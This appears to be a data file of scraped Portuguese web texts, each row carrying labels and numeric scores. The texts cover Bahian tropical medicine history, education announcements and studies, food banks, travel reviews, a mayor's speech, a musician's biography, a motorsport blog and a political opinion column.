+"Embora tenha recebido esta denominação, a Escola Tropicalista Baiana, não se constituiu como uma instituição de ensino formal, mas como um grupo de médicos estabelecidos na Bahia que se dedicaram à prática de uma medicina voltada para a pesquisa da etiologia das doenças tropicais que acometiam as populações pobres do país, principalmente os negros escravos. Este grupo teria se formado por volta de 1860, e o nome de Escola Tropicalista Baiana lhe foi atribuído posteriormente.
+Foi, sobretudo, Antônio Caldas Coni (1952) quem popularizou a noção da importância de uma escola de medicina tropical no século XIX na Bahia. A seu ver, a medicina baiana estaria dividida em três épocas:
+1ª - empírica (1500-1808), fase em que predominou a medicina de origem indígena, africana e jesuítica;
+2ª -sistemas teóricos ou época pré-científica (1808-1866), fase em que houve a influência dos sistemas especulativos europeus, baseados em teorias médico-filosóficas, nascidos durante o século XVIII de autoria de François Joseph Broussais (1772-1838 - terapêutica sanguinária), de Paul Joseph Barthez (1734-1806 - doutrina vitalista) entre outros;
+3ª - científica (1866 aos nossos dias), fase em que os trabalhos de Otto Edward Henry Wucherer, John Ligertwood Paterson e José Francisco da Silva Lima foram publicados na Gazeta Médica da Bahia, demonstrando o espírito de observação empregado na sua elaboração. Coni considerou que esta última fase se subdividiu em 3 outros períodos: o áureo, o de decadência e o da reação de Raimundo Nina Rodrigues.
+Logo, embora os chamados ""tropicalistas"" se voltassem para o estudo das doenças de climas quentes, ou àquelas que eles se referiam como ""patologia intertropical"", eles próprios (os médicos do grupo baiano) nunca se autodenominaram de ""tropicalistas"", designação que lhes foi atribuída posteriormente.
+Na realidade, este grupo de ""tropicalistas"" contribuiu para a reformulação do modelo até então aceito da nosologia (classificação de doenças) brasileira, questionando os conhecimentos europeus sobre os problemas de saúde pública no Brasil. Para entender as doenças no Brasil rejeitaram o determinismo racial e climatológico e a idéia de que os habitantes dos trópicos degeneravam irreversivelmente. Defendiam a idéia de que a maioria das doenças eram universais, mas que a umidade e o calor as exacerbavam, assim como as particularizavam. Costumavam associar as doenças nos trópicos à pobreza, má nutrição, falta de saneamento, e às más condições de vida dos escravos. Desenvolveram, assim, trabalhos originais para a época em que foram produzidos, especialmente descobertas relacionadas à ancilostomíase, à filariose (elefantíase), ao ainhum (alteração nos dedos do pé), contribuindo para promover debates sobre parasitologia, e algumas doenças como o beribéri, a tuberculose, a lepra, dracunculose e o maculo (diarréia que acometia os escravos novos) (PEARD, 1997).
+A formação da Escola Tropicalista Baiana partiu das iniciativas dos médicos estrangeiros radicados na Província da Bahia - Otto Edward Henry Wucherer, de descendência luso-germânica, John Ligertwood Paterson, de origem escocesa e José Francisco da Silva Lima, português. Com base em conhecimentos médicos europeus, as investigações realizadas por esse grupo seriam expressão das novas disciplinas que surgiam durante o século XIX (anatomia patológica, parasitologia e bacteriologia). Contrapunham-se, assim, ao ensino médico oficial, representado na época pela Faculdade de Medicina da Bahia e pela Faculdade de Medicina do Rio de Janeiro, que ainda fundamentavam-se na teoria miasmática para explicarem a etiologia das doenças, pressupondo que o solo produzia emanações causadoras de doenças que acometiam as populações. O grupo localizado na cidade de Salvador, Bahia, acabava, assim, por desafiar a tradição do ensino e da prática médica local baseada na reprodução do saber médico europeu, principalmente de origem francesa, desvinculado das singularidades da realidade brasileira (PEARD, ...",original,original,original,original,4,0.8
+"MINICURSOS DA CÁTEDRA DE EDUCAÇÃO BÁSICA DA USP TRATAM DA FORMAÇÃO GERAL NO SÉCULO 21 E DA REALIZAÇÃO DE TAREFAS NA ESCOLA | UNDIME SÃO PAULO
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+MINICURSOS DA CÁTEDRA DE EDUCAÇÃO BÁSICA DA USP TRATAM DA FORMAÇÃO GERAL NO SÉCULO 21 E DA REALIZAÇÃO DE TAREFAS NA ESCOLA
+As mudanças e incertezas do século 21 trazem desafios e impactos para o trabalho humano, mas, ao mesmo tempo, propiciam novos recursos para a educação. Um minicurso da Cátedra de Educação Básica tratará das mudanças econômicas, sociais e ambientais esperadas para as próximas décadas e seus reflexos na concepção e organização das diferentes etapas da educação.
+Professores deste encontro, Naomar de Almeida Filho, titular da Cátedra, e Luís Carlos de Menezes, coordenador acadêmico, também vão abordar propostas de formação geral universitária adequadas às novas demandas de profissionalização e as maneiras de orientar jovens a conhecerem e avaliarem perspectivas profissionais presentes e futuras.
+Na mesma semana, o professor e psicólogo Lino de Macedo falará sobre a importância da realização de tarefas e compreensão de conceitos no processo de escolarização. Pensando como professor, mas não se esquecendo do ponto de vista da criança, Lino espera debater com o público processos chamados de interiorização e de exteriorização, além da postura de “tomar consciência”.
+Para assistir, basta acessar o canal da Cátedra no YouTube: https://www.youtube.com/c/catedradeeducacaobasica
+Mais informações sobre o conteúdo dos minicursos, bibliografia recomendada e orientações sobre certificação estão em https://www.catedraeducacaousp.org/minicursos2021
+MISSÃO DA UNDIME-SP
+Articular, mobilizar e integrar os dirigentes municipais de educação para construir e defender a educação pública com qualidade social.
+PRINCÍPIOS
+Democracia que garanta a unidade de ação institucional; afirmação da diversidade e do pluralismo; gestão democrática com base na construção de consensos; ações pautadas pela ética com transparência, legalidade e impessoalidade; autonomia frente aos governos, partidos políticos, credos e a outras instituições; visão sistêmica na organização da educação fortalecendo o regime de colaboração entre os entes federados.
+UNDIME-SP
+União dos Dirigentes Municipais de Educação do Estado de São Paulo
+""Em defesa da educação pública com qualidade social""
+Rua Barão de Itapetininga, 46 - 13º andar
+cj. 1311 e 1321
+CEP: 01042-001 - Centro - São Paulo - SP
+Telefone: (11) 3121-4320
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+Os cook...",original,original,original,original,4,0.8
+"Em 2014, os bancos de alimentos estavam já alimentando quase um milhão de pessoas no Reino Unido, um dos países mais ricos do mundo. Nos Estados Unidos, os números são provavelmente ainda mais elevados, mesmo per capita.
+Definitivamente, não há necessidade de ter vergonha de ir a um banco de alimentos, mas muitos bancos de alimentos têm algumas condições para quem eles dão comida. Você também pode encontrar bancos de alimentos em países em desenvolvimento como a África do Sul, Índia e Brasil.
+Diariamente toneladas de alimentos reaproveitáveis são jogados no lixo, em vez de serem doados ao banco de comida gratis.
+Todos os dias toneladas de comida em condições de ser aproveitada vão para o lixo todo santo dia em mercados, feiras, fábricas, restaurantes, quitandas, açougues, fazendas. Além de toneladas de iogurtes perto do vencimento, tomates manchados, pães amanhecidos, carne esquecida no congelador e milhares de itens que, por algum motivo estético, acabam nas latas de lixo.
+Se fizermos um simples calculo e levar em conta apenas aquilo que poderia ser aproveitado facilmente, sem grandes mudanças no processo de produção ou de distribuição. É suficiente para dar café, almoço e jantar diariamente a milhões de pessoas.
+Então como fazer com que toda essa comida vá parar nos pratos vazios? A resposta esta aqui com o banco de comida grátis, com ele muitas pessoas que não tem como comer sem dinheiro, poderam ter o que comer.
+Em alguns estados do Brasil foi criado um dos projetos mais criativos e eficientes é o sopão do Ceasa. Os Ceasas – sigla de Central de Abastecimento S.A. – são empresas estaduais geridas por um misto de dinheiro do governo e da iniciativa privada.
+Essas empresas mantêm mercados e entrepostos para escoar a produção agropecuária. Quem já foi a um dos mercados do Ceasa à tarde sabe o quanto de comida sobra todos os dias nos estandes. Tradicionalmente, ia tudo para o lixo.
+Os Ceasas também são ótimos lugares para quem quer ter como comprar comida sem dinheiro. Você pode encontrar mais informações nesse link.
+Além do Ceasa, há outras instituições transformando o que iria para o lixo em comida. Muitas são organizações não-governamentais (ONGs) que, com uma estrutura pequena– não mais que duas ou três vans e meia dúzia de voluntários – coletam comida doada e levam tudo a instituições de caridade que preparam e distribuem o alimento.
+Falarei um pouco sobre dois bancos de alimentos (ou bancos de comida gratis) aqui neste artigo, um no Brasil e o outro em Portugal. Então se você estiver em algum desses dois paises e esta com pouco dinheiro ou sem dinheiro para comer, poderá recorrer a esses bancos.
+O banco de comida grátis no Brasil
+Clicando nesse link você saberá mais sobre esse banco e os lugares que ele atua no Brasil.
+O banco de comida gratis em Portugal
+Em 23 de Janeiro de 1991, foi criado em Portugal o primeiro Banco Alimentar Contra a Fome. Aproveitar onde sobra, para distribuir onde falta.
+É este o objectivo: evitar o desperdício de alimentos fazendo-os chegar às pessoas que têm fome. São recolhidos localmente e a nível nacional, respeitando as normas de higiene e de segurança alimentar.
+Para saber mais sobre esta instituição click aqui.
+Há muitas maneiras de se reaproveitar e evitar o desperdício dos alimentos, basta conhecer o valor deles. Você sabia que aquela casca de banana que você joga fora possui duas vezes e meia mais vitamina C do que a polpa da fruta???
+As cascas, talos, sementes e folhas dos vegetais e frutas que costumamos desprezar podem ser muito saudáveis. “As partes não convencionais dos alimentos possuem um rico valor nutricional, ou seja, a quantidade de vitaminas, sais minerais e proteínas concentradas podem aparecer até em quantidade maior do que na parte costumeiramente utilizada”.
+Outro beneficio apresentado pelo uso dos alimentos reaproveitaveis é oportunizar novos hábitos alimentares, usando o reaproveitamento dos alimentos que seriam jogados fora. Desta forma temos a ocasião oportuna de prop...",original,original,original,original,3,0.6
+"Kihei Canoe Club - 2018 O que saber antes de ir - Sobre o que as pessoas estão falando - TripAdvisor
+Restaurantes perto de Kihei Canoe Club
+O que fazer perto de Kihei Canoe Club
+N.º 49 de 71 Passeios de barco e esportes aquáticos em Kihei
+Bela e experiente
+Ótima experiência! ! Como visitantes, que foram guiados e instruídos por membros de canoa experientes e bem informados. Aprendemos muito sobre o desporto, criação bela de Deus: a terra, o mar, animais marinhos, e algumas tradições e linguagem da cultura havaiana. Melhorias necessárias! Um par...de membros do Club não foram tão bom e convidativo como outros. Também, o montante sugerido doação foi um pouco íngreme. Os visitantes devem ser encorajados a doar o que eles querem.Mais
+Diversão assistindo canoas outrigger
+Eu sabia sobre a dias Kihei visitante Canoe Club mas o meu marido e eu decidi não participar na canoagem. No entanto, duas vezes paramos para ver as pessoas a sair e voltar depois de seus passeios.
+Se você estiver em Kihei numa terça ou uma quinta-feira (excepto para o Dia de Ação de Graças) ser no Kihei Canoe Club antes de 7 horas da manhã. Vale a pena levantar-se. Após a assinatura de um levantamento, existe a cerimônia conch com um...nativo havaiano levando um canto e falar sobre as formas antigas e passar por eles para as futuras gerações. Grande cultura local. Depois disso, eles fornecem uma lição breve mas adequada sobre a etiqueta de canoa, entrar e sair da canoa e infantil. Uma vez feito isso, você ir para um casco duplo ou um único hull canoa (outrigger), lançamento, e você estão desligados. Eles te levam a lugares diferentes como um monte de canoas lançamento no uma vez. Você está fora em qualquer lugar a partir de 30 a 90 minutos. A entrada é um $ 30 doação por pessoa. Estas doações vá em direção a vários programas eles colocaram em para crianças e pessoas com deficiência. Lembre-se de trazer um extra de US $ 5 para um pedaço de pão de banana. É feitos localmente e é também uma festa beneficente. Este é um espetáculo imperdível fazer. Vale a pena.Mais
+Agradável oportunidade de aprender alguns conceitos básicos de andar de canoa
+Eu gostava de duas viagens com o clube de canoa no seus dias de visitante. Os membros guiados seus visitantes inexperientes através do básico, e nos levou a uma viagem agradável na área imediata. Eu também gostava de aprender sobre o seu apoio do local...escola equipas de alta, financiado pelos seus programas de visitante, e os seus esforços relacionados para manter este aspecto da cultura havaiana tradicional viável.Mais
+Nós saído com o clube de canoa antes e tivemos um grande momento, então nós estávamos entusiasmados para partilhar a experiência com nossos 3 anos. Nós xadrezes em com eles um par dias antes de Quando planejamos ir e eles disseram que não havia qualquer...requisito de idade mínima. Nós trouxemos nosso próprio colete vida para a pequena, que tem sido em vários barcos e sempre bem feito. Quando fomos para o check-in fomos (grotescamente) informou que eles tinham acabado de ser alterada a sua política - aparentemente no 36 horas desde o nosso inquérito - e agora tinha uma idade mínima de oito. Meu marido educadamente persistiu e foi gritado por o voluntário do sexo feminino (não obter o seu nome) bem na frente de nosso filho. Em vez de entrar em um argumento, escolhemos a pé de distância, muito decepcionado.Mais
+Os visitantes de paddle lazer também
+Esta placa de lazer projetado para o atleta bem como o sofá de batata é uma ótima experiência sem os cheiros de combustível, as multidões, o churrasco costelas, pura e simples permite entrar na água com remadores iniciantes e experientes profissionais
+Experiência brilhante & exercícios
+Localizado em North Kihei, introdutória da placa é às terças e quintas-feiras com uma doação de US$ 30. O estacionamento gratuito está disponível na beira ao longo do lado da estrada. Melhor para chegar cerca de 06:30 a preencher os formulários de renúncia e equipar...para fora antes de o b...",original,original,original,original,3,0.6
+"Discurso de José Cláudio Pereira Neto na Câmara Municipal de Maringá por ocasião de sua posse como prefeito no dia 1° de janeiro de 2001 | Maringá, Maringá
+Discurso de José Cláudio Pereira Neto na Câmara Municipal de Maringá por ocasião de sua posse como prefeito no dia 1° de janeiro de 2001
+Nós entramos a partir deste dia no ano do cinquentenário da emancipação política de Maringá e isto não é pouca coisa, visto que a cidade que temos, construída no esforço de nossos pioneiros e pelos esforços de pessoas como o doutor Adriano aqui presente.
+Mas também estamos no primeiro dia de um novo século e, se não bastasse, de um novo milênio, o que me leva a refletir ainda mais na generosidade de Deus para com todos nós em podermos estar vivendo esta oportunidade.
+Por outro lado, há que se pensar e muito na responsabilidade que temos com nossa cidade, com nosso país, com a nossa gente! A qualquer de nós já não é exigido o sacrifício de sair à rua para percebermos que não temos a cidade que queremos, o país que merecemos e a felicidade de nossa gente, que tanto se faz necessário.
+Não bastasse a miséria estabelecida e imposta para mais de 40 milhões de brasileiro, que resulta na fome, na ausência de emprego, na omissão do Estado em oferecer o mínimo da tutela determinada na Constituição, no quesito da saúde, da educação, do bem-estar, vindo somando a tudo isso a exposição da nossa gente a um aumento desenfreado da violência, estamos vivendo o pior momento da conduta moral e ética da maioria da classe política dirigente de nossos destinos.
+Sem descer às minúcias, aos detalhes e aos números, mas a uma realidade global, é possível afirmar, sem medo de errar ou de ser injusto com a classe política, que, de cada real arrecadado pelo setor público em nosso país, 60% dele é roubado ou desperdiçado, e os outros 40% nem sempre são aplicados, obedecendo-se ao princípio do qual o social deve prevalecer sobre as demais ações do governo, ou seja, as obras para atender as necessidades dos grupelhos que se associam aos governos e políticos são priorizadas e, após tudo isso, se houver sobras, então aplica-se em favor da vida.
+E é por isso que assistimos este espetáculo dantesco de ausência de ações públicas em favor da vida. Ainda pior é a ação nefasta deste projeto neoliberal que, em nome desta tal globalização, condiciona o nosso país a uma situação de colônia, submissa aos interesses da especulação internacional, ao saque do patrimônio nacional construído com suor e vida de todos nós. E, diante de nossos olhos, sucateiam e arrebentam com as empresas nacionais, promovendo toda sorte de agressões cambial e tarifária à nossa força produtiva.
+Não fosse o Brasil um país rico pela sua natureza e o seu povo generoso pela sua imensa capacidade de solidariedade, certamente povos sofridos de países do terceiro mundo iriam sentir-se honrados em nos ter como sócios de sua miséria.
+Não fosse nossa cidade ser forte e sua gente laboriosa, certamente nós estaríamos assumindo este governo como síndicos de uma falência e não como porta-vozes de uma nova esperança de realização do sonho de dias melhores.
+Faz-se necessário refletir o porquê de uma cidade como Maringá foi saqueada e um povo humilhado pela ação de um desgoverno. O que leva pessoas que recebem a mais preciosa honraria, que é a de governar um povo valente, trabalhador, honesto e solidário, se afastarem dos caminhos da honestidade, da humildade, dos caminhos de Deus!
+Refletir o porquê do Poder Legislativo, salvo suas exceções, ficar surdo, mudo e cego, quando detém poderes para defender o povo, interrompendo um mau governo.
+A conclusão a que chego é que a ganância pelo dinheiro, associada à vaidade pelo poder, tirou da classe política a sensibilidade pela humildade e pela honestidade e acabou com o medo da mão de Deus. O que nos dá alegria, nos mantém otimistas e sempre nos renova a esperança e nos permite continuar sonhando com as mudanças é a força da nossa gente aliada às riquezas de nossa cidade. É possív...",original,original,original,original,2,0.4
+"Este trabalho visa mostrar a importância do desenvolvimento psicomotor da criança com relação ao processo de alfabetização. Utilizar as diferentes linguagens corporais, as suas influências e contribuições para a formação do educando priorizando estas, como processo de descoberta a fim de tornar a alfabetização mais lúdica, prazerosa e significativa.
+Este tema, portanto, apresenta um importante desafio para um exercício reflexivo para prática educativa. Através deste, estamos tendo a possibilidade de desfrutar de uma maior abertura dentro da universidade para produzir um diálogo crítico sobre a questão mais específica da classe de alfabetização e do enfrentamento a necessidade de novas frentes de pesquisa e de discussão educacional.
+Sabemos que o desenvolvimento corporal e motor são muito importantes para a aprendizagem. No entanto, as ações educativas geralmente apontam outra direção. A escola tem tratado o corpo como uma mala que carrega o cérebro (algo fundamental a educação racional), e o movimento como um simples acessório. (HAETINGER, 2005, p.108.).
+No Ensino Fundamental as atividades corporais vão perdendo espaço com o passar dos anos. Ao ingressarem no primeiro ano as crianças já começam a viver em um novo ambiente: cadernos, cópias do quadro-negro, enfim, rotinas e responsabilidades que não faziam parte de seu cotidiano escolar. Começa agora uma longa jornada em busca do desenvolvimento do processo de alfabetização, mas, cabe ao professor tornar este processo significativo e proveitoso.
+Partindo dessa perspectiva a alfabetização não é vista como meramente uma habilidade técnica a ser adquirida, mas sim, um fundamento necessário a ação cultural para a liberdade. Ainda na visão Freiriana podemos perceber a alfabetização como um projeto político no qual homens e mulheres afirmam seu direito e sua responsabilidade não apenas de ler, compreender e transformar suas experiências pessoais, mas também de reconstituir sua relação com a sociedade mais ampla.
+O letramento e a alfabetização são termos usados pelos professores unidos como se fossem conceitos únicos. Segundo Soares “no Brasil, os conceitos de alfabetização e letramento se mesclam, se pressupõe e freqüentemente se confundem”. (SOARES, 2003, p.05).
+As dificuldades das crianças no início do processo de aprendizagem de linguagem escrita podem ser bastante grandes, ainda que apresente um perfil normal de desenvolvimento. Um dos fatores da dificuldade não se relaciona somente com o fato das crianças desconhecerem para que serve a língua, como ela funciona, mas também, pelo fato de não possuírem habilidades psicomotoras bem desenvolvidas.
+Psicomotricidade, portanto, é um termo empregado para uma concepção de movimento organizado e integrado, em função das experiências vividas pelo sujeito cuja ação é resultante de sua individualidade, sua linguagem e sua socialização. A educação psicomotora é uma educação global que, associando os potenciais intelectuais, afetivos, sociais e motores da criança, dá-lhe segurança, equilíbrio e permite o seu desenvolvimento, organizando as suas relações com os diferentes meios nos quais deve evoluir.
+Após termos claros esses conceitos, os quais serviriam de base para entendermos algumas situações vividas no cotidiano escolar, partimos então para a sistematização das práticas a serem realizadas. Escolhemos duas professoras da classe de alfabetização de uma escola da rede particular onde esta diz que as séries realizam trabalho globalizado. Aqui iremos nos referir as professoras como sendo professora A e B, relataremos os fatos de uma por vez. Realizamos três atividades corporais com cada turma, estas foram: mexendo o corpo; cruzando setas e; imitando os animaizinhos.
+Com relação à alfabetização, observamos que, neste dia não foi trabalhada não sendo possível a identificação do método utilizado, as atividades desenvolvidas, nortearam o âmbito tradicional, tais como: folhinha, caderno, picar e colar papéis, sem a interação da professora para que ...",original,original,original,original,4,0.8
+"Muitas informações sobre as plantas, também chamadas de vegetais escola kids para a fotossíntese ocorrer, é necessária a luz do sol, água e gás. O homem tirou partido desta enquanto a planta fornece aos fungos carboidratos produzidos na fotossíntese algumas plantas servem como residências para fungos. Leia este sociais aplicadas abstract e mais 671000 outros documentos de pesquisas fotossíntese e importância das plantas para o homem ciências naturais 6º ano.
+Há uma infinidade de outras importantes utilizações das plantas pelo homem que Ótimo resumo sobre a importância das plantas para o fotossíntese (2.
+Apenas alguns tipos de organismos vivos realizam fotossíntese: plantas a fotossíntese é importante para o homem sobre a importância da fotossíntese e.
+As plantas sempre foram usadas pelos animais para curar seus males o homem observava e também passou a utilizá-las (fotossíntese.
+A importância da fotossíntese para a vida no planeta apenas alguns tipos de organismos vivos realizam fotossíntese: plantas inclusive o homem.",original,original,original,original,3,0.6
+"Circa 1970 Pernambuco
+Com influências extremamente diversificadas, como as de Maria Bethânia, Ney Matogrosso, Orlando Silva, Elizete Cardoso, Sílvio Caldas, Alceu Valença, Quinteto Violado, Ednardo, Pixinguinha, Cartola, Luiz Gonzaga e Jackson do Pandeiro; lançou primeiro disco solo em 1999, ""Verd´Água"", produzido por ele mesmo. Como havia morado 10 anos em Portugal, algumas das músicas foram gravadas no país Lusitano. Nesse disco, regravou sucessos de Pixinguinha e Cartola, sendo eles ""Rosa"" e o choro-canção ""Sejam Benvindos"", respectivamente. O segundo CD, ""Astrolábio"", lançado em 2001, contou com uma diversidade de gêneros, que foram desde o
+maracatu zen (como o próprio intitula), coco de rabeca e fado eletrônico até o samba hip hop. O álbum contou com a direção musical de Marcelo Soares, Geraldo Maia e Igor Medeiros. Em 2003, ganhou notoriedade ao interpretar, ao lado do violonista Yamandu Costa, a música ""A deusa da minha rua"" para a trilha sonora do filme ""Lisbela e o Prisioneiro"", dirigido por Guel Arraes. No ano seguinte, lançou o CD ""O fio da meada"", que trouxe releituras de músicas de Luiz Gonzaga, como ""Tenho onde morar"" (c/ Dario de Souza) e ""Feijão com couve"" (c/ J. Portela); e de Jackson do Pandeiro, ""A ordem é samba"" (c/ Severino Ramos). Em 2007, no lançamento do álbum ""Samba de São João"", resgatou obras de compositores pernambucanos célebres como Capiba, João Pernambuco, Luperce Miranda, Manezinho Araújo e Irmãos Valença; além de outros menos consagrados, como Artur de Castro, Aldo Taranto, Luiz Peixoto, Heckel Tavares, Jaime Florence, mais conhecido como Meira, Stefana de Macedo, Marcial Mota, Eustórgio Wanderley e Osvaldo Santiago, abrangendo uma época que vai de 1928 a 1955. No mesmo ano, teve participação especial no disco ""Forroboxote 7 - Ser tão criança - Cantigas de roda do sertão"", lançado por Xico Bizerra. Nesse álbum, cantou ao lado de Cristiane Quintas, Nena Queiroga e Lívia Cavalcanti. No ano seguinte, lançou o disco ""Peso leve"", que marcou a sua estreia como compositor. Das 12 faixas do disco, todas têm a assinatura de Geraldo, sendo algumas em parceria com compositores como Sérgio Cassiano, João Falcão, Carlos Mascarenhas e Adriana Falcão. Em 2009, lançou seu sexto disco, ""Lundum"", que assim com o anterior, contou com composições próprias, que foram as seguintes: ""Navenida / Chamada"" e ""Deixa soar"", com Juliano Holanda; Helioiticando, com Marco Polo; ""Pega o peixe"", ""Samba"" e ""Tristeza"", com Paulo Marcondes; ""Broto de semear""; e ""Que doam-se os brios!"". No mesmo ano, participou novamente do projeto ""Forroboxote"", de Xico Bezerra. Nesse álbum, oitava edição da série, e que teve o intuito de homenagear acordeonistas consagradaos como Luiz Gonzaga, Sivuca, Dominguinhos, Oswaldinho, Gennaro, Mestre Camarão e Arlindo, cantou ao lado de
+Liv de Morais, Santanna, Petrúcio Amorim, Maciel Melo, Irah Caldeira, Nádia Maia, e João Cláudio Moreno, entre outros. Desse mesmo projeto, participou novamente, dois anos depois, da nona edição, cantando ao lado de Silvério Pessoa, Xangai, Elba Ramalho, Bia Marinho, Irah Caldeira, Cristina Amaral, Geraldo Maia, Maciel Melo, e Quinteto Violado, entre outros. Em 2012, realizou participação na coleção tripla de CDs ""Pernambuco forrozando para o mundo - Viva Dominguinhos!!!"", produzida por Fábio Cabral, cantando a música ""Claridádiva"", de Zeh Rocha e Xixo Bizerra. A coletânea trouxe forrós diversos, interpretados por 48 artistas, e que fazem referência aos 50 anos de carreira do seu inspirador: Dominguinhos. Interpretando músicas de compositores em sua grande maioria pernambucanos, fizeram parte do projeto também artistas como Acioly Neto, Adeolzon Viana, Anchieta Dali, Dudu do Acordeon, Elba Ramalho, Hebert Lucena, Irah Caldeira, Jorge de Altinho, Petrúcio Amorim, Liv Morais, Sandro Haick, Spok, Jefferson Gonçalves, Chambinho, Joquinha Gonzaga, Maciel Melo, Luizinho Calixto, Silvério Pessoa, Walmir Silva, entre outros, além do próprio Dominguinhos.",original,original,original,original,3,0.6
+"Sabemos viver? – Amigos da Velocidade
+Estilo de Vida Qualidade de Vida
+A notícia da morte do Sergio Marchionne, que estava em coma e na UTI de uma clínica da Suíça, é de cortar o coração até dos mais duros. O italiano, diretor executivo da FCA – Fiat Chrysler Automobiles – e da Ferrari. Nas suas mãos, a equipe passou por uma reestruturação depois do tufão Alonso, aquele que devasta times por onde passa, e tornou-se, novamente candidata ao título nas últimas temporadas. Ainda que não tenha havido sucesso, e, do jeito que a coisa vai este ano, talvez não seja em 2018 o ano da conquista, não podemos deixar de reconhecer a contribuição de Marchionne à equipe.
+Agora, tenta colocar-se no lugar dele enquanto amargava o estado de coma em Zurich: com uma sucessão já encaminhada e pronto para começar a curtir a vida numa merecida aposentadoria, como num feitiço das piores bruxas, ele estava fadado a não viver mais. Esqueça teus planos, tuas ambições, tudo aquilo que você mais ama. “Zéfini”, como diria o personagem da Escolhinha do Professor Raimundo. Que a família dele tenha muita luz e paz para passar por este momento; não é fácil.
+No automobilismo temos vários casos assim, de gente que estava fazendo o que amava e, 10 segundos depois, nem ali estava mais. Rindt, Williamson, Gilles Villeneuve, Ratzenberger, Greg Moore, Jovy Marcelo, Scott Brayton… A lista é gigantesca, mesmo em se tratando de pilotos que foram pronunciados mortos na pista. Se colocar então quem faleceu no hospital em decorrência dos ferimentos, deve dar um livro. Eles não tiveram segunda chance, não puderam se despedir dos entes queridos – com consciência – e, espera-se, faleceram fazendo aquilo que gostavam.
+Para ficar em outro caso de integrante do meio que faria função semelhante à de Marchionne na Ferrari, vocês acham mesmo que o Lauda estaria até hoje na Mercedes exercendo a dupla com Toto Wolff caso Michael Schumacher estivesse em condições aptas de saúde? Um dos dois, Wolff ou Lauda, já teriam espirrado dos boxes da estrela de três pontas. Não chego ao mérito se teria o mesmo desempenho como diretor de equipe que ambos, meu ponto é que Schumacher, hoje preso a uma cama com cuidados diários, estava sendo preparado para isso. Inteligência e rapidez de raciocínio, concorde comigo ou não, o alemão tinha.
+Numa outra ponta, como nem tudo são sombras, temos os casos de pilotos que deram a volta por cima. E que senhora volta. Alessandro Zanardi – cujo primeiro nome era inspiração para meu primeiro filho, porém fui vencido – e Billy Monger mostram para nós, diariamente, que em certo ponto nós não sabemos viver na plenitude. Abusando novamente da imaginação do leitor, Zanardi e Monger estavam competindo dentro de suas possibilidades quando, no caso do primeiro, uma rodada com pneus frios o colocou em posição de “T” com Alex Tagliani, e no caso do segundo, um carro com problemas serviu como muro, numa distante 15ª posição.
+Zanardi, ou “segura o italiano” na voz de Téo José, conquistou medalhas de ouro e prata em Olimpíadas, além de sempre estar em uma corrida ou outra de turismo em carro adaptado numa forma competitiva. Sempre sorridente, com um astral lá nas nuvens, me deixa um com pouco de vergonha de admitir que sinto preguiça de sair da cama mais cedo em alguns dias devido à preguiça. Se ele, com toda a limitação que tem, pode fazer tudo isso, por que céus eu ou você não podemos acordar uma hora mais cedo e caminhar trinta minutos no quarteirão de casa antes de tomar um café ou banho para ir trabalhar? Olha-te no espelho, rapaz/moça!
+Monger, igualmente, é um caso a se acompanhar com carinho. Após o acidente, com o qual a família não tinha condições financeiras de lidar e fez até vaquinha na rede para arcar com os custos, Billy é um show de simpatia por onde passa. De convidado de honra de Lewis Hamilton nos boxes a até testar uma Sauber adaptada este ano, o pequeno herói inglês inventou até o “leggy”: bebe champagne de dentro da prótese, numa adaptação ao “shoey” de Ri...",original,original,original,original,2,0.4
+"Será que Aécio pensa que somos todos idiotas?
+Realmente não sei o que é pior, a gravação da conversa de Aécio com Joesley ou o cinismo do discurso feito pelo senador mineiro no seu retorno ao senado federal
+""Realmente não sei o que é pior, a gravação da conversa de Aécio com Joesley ou o cinismo do discurso feito pelo senador mineiro no seu retorno ao senado federal"", escreve o jornalista; ""Se o que ele fez não foi crime, por que a irmã dele e o primo estão em prisão domiciliar com tornozeleiras eletrônicas? Será que o senador acredita mesmo que somos todos idiotas?"".
+Se os 2 milhões de reais que Aécio pediu a Joesley eram pela compra de um apartamento da família dele, por que o pagamento foi feito em dinheiro e não num deposito bancário ou em cheque administrativo? Era pra cometer outro crime, o de sonegação fiscal?
+E por que Fred, primo de Aécio, repassou o dinheiro para Mendherson Souza Lima, ex-assessor do senador Zezé Perrella? E por que Aécio disse na gravação: ""Tem que ser um que a gente mata ele antes de fazer delação"" se referindo ao primo que iria receber o dinheiro?
+E se Joesley era um réu confesso com centenas de crimes cometidos, por que Aécio, no encontro com o empresário, teve uma conversa de compadres?
+Realmente não sei o que é pior, a gravação da conversa de Aécio com Joesley ou o cinismo do discurso feito pelo senador mineiro no seu retorno ao senado federal.
+Se o que ele fez não foi crime, por que a irmã dele e o primo estão em prisão domiciliar com tornozeleiras eletrônicas? Será que o senador acredita mesmo que somos todos idiotas?",original,original,original,original,0,0.0
+"· Diante das situações observadas e pesquisadas a nível nacional que afetam diretamente a vida humana, a CEMIG, “Companhia Energética de Minas Gerais” afim de mobilizar a sociedade sobre a escassez da água, o desperdício da energia e o excesso de produção do lixo, promover um encontro com os professores, reconhecendo-os como difusores do conhecimento, formando parcerias e meios para divulgar, semear e multiplicar as ideias de preservações levando em conta a situação atual que acarreta prejuízos ás gerações futuras.
+Tendo em vista as necessidades expostas, a Escola Municipal Pequeno Príncipe abraça essa causa através deste projeto com a finalidade de despertar e sensibilizar as crianças e suas famílias a preservação dos recursos naturais e a utilização dos mesmos de forma consciente.
+· Divulgar á escassez concernentes aos recursos naturais e sensibilizar as crianças quanto a necessidade de preservação do meio ambiente para que estes sejam multiplicadores de ideias.
+· * Conhecer e compreender a importância da preservação do nosso planeta terra.
+· * Identificar e valorizar a preservação da natureza como parte integrante do nosso ambiente.
+· * Compreender que a água é a necessidade básica para toda a vida no planeta.
+· *Identificar o que acontece quanto ás pessoas utilizar mais água do que natureza pode fornecer.
+· * Discutir como a escola pode diminuir o consumo de água e, que medidas podem ser levadas para casa como continuidade do processo de conscientização do seu uso.
+· *Desenvolver com nossos alunos atividades que ajudem a conscientizar a família quanto á necessidade de economizar energia elétrica através do consumo adequado.
+· * Reduzir o desperdício de água e energia elétrica.
+· * Reconhecer a importância da seleção de lixo, da preservação e despoluição dos rios, dos alimentos naturais etc.
+· * Desenvolver o interesse pelo gosto da leitura e escrita através de palavras e pequenos textos , ainda que não seja na forma convencional.
+· * Compreender diferenças entre o sistema de escrita e outras formas gráficas de representação.
+· * Dominar a sequência alfabética.
+· * Compreender o funcionamento da escrita dos números e realizar contagens.
+· * Desenvolver os conceitos matemáticos, para que possam reconhecer identificar e executar as atividades propostas.
+· * Identificar antecessor e sucessor de números e letras.
+· * Refletir sobre á natureza levando em conta o dia da árvore.
